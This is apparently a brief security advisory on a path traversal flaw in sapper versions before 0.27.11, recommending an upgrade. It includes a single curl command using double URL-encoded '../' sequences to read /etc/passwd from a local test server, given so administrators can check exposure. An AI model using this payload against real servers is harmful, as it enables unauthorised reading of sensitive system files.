Path Traversal in sapper
Versions of `sapper` prior to 0.27.11 are vulnerable to Path Traversal. It is possible to access sensitive files on the server through HTTP requests containing URL-encoded `../`.
You may test a `sapper` application running in prod mode with `curl -vvv
http://localhost:3000/client/750af05c3a69ddc6073a/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd`.
## Recommendation
Upgrade to version 0.27.11 or later.